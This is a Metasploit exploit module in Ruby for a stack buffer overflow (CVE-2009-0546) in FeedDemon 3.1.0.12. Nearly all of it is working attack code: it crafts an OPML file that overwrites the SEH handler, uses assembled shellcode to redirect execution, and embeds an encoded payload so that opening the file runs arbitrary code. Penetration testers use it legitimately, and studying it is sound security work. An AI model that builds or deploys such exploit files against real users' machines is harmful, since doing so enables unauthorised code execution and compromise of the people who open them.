##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FeedDemon Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
        is used to import a specially crafted opml file, a buffer overflow occurs allowing
        arbitrary code execution.

        All versions are suspected to be vulnerable. This vulnerability was originally reported
        against version 2.7 in February of 2009.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'fl0 fl0w',  # Original Exploit
          'dookie',    # MSF Module
          'jduck'      # SEH + AlphanumMixed fixes
        ],
      'References'     =>
        [
          [ 'CVE', '2009-0546' ],
          [ 'OSVDB', '51753' ],
          [ 'BID', '33630' ],
          [ 'EDB', '7995' ],
          [ 'EDB', '8010' ],
          [ 'EDB', '11379' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff",
          'DisableNops' => true,
          # We are not strictly limited to alphanumeric. However, currently
          # no encoder can handle our bad character set.
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested OK on XPSP3 - jduck
          [ 'Windows Universal',
            {
              'Ret' => 0x00501655   # p/p/r in FeedDemon.exe v3.1.0.12
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Feb 09 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),
      ])

  end

  def exploit

    head_opml = '<opml version="1.1">'
    head_opml << '<body>'
    head_opml << '<outline text="'

    header = "\xff\xfe" # Unicode BOM
    header << Rex::Text.to_unicode(head_opml)

    foot_opml = '">'
    foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>'
    foot_opml << '</outline>'
    foot_opml << '</body>'
    foot_opml << '</opml>'
    footer = Rex::Text.to_unicode(foot_opml)

    # Set ECX to point to the alphamixed encoded buffer (IIIII...)
    # We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8
    off = 0x1ff2
    set_ecx_asm = %Q|
      mov ecx, [esp+8]
      sub ecx, #{0x01010101 + off}
      add ecx, 0x01010101
    |
    set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string

    # Jump back to the payload, after p/p/r jumps to us.
    # NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
    # 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
    distance = 0x1ffd + 8 + 5
    jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    # SEH
    seh_frame = generate_seh_record(target.ret)

    # Assemble everything together
    sploit = ''
    sploit << set_ecx
    sploit << payload.encoded
    sploit << rand_text_alphanumeric(8194 - sploit.length)
    sploit << seh_frame
    sploit << jmp_back
    sploit << rand_text_alphanumeric(8318 - sploit.length)
    # Ensure access violation reading from smashed pointer
    num = rand_text(4).unpack('V')[0]
    sploit << [num | 0x80000000].pack('V')

    evil = header + sploit + footer

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(evil)

  end
end
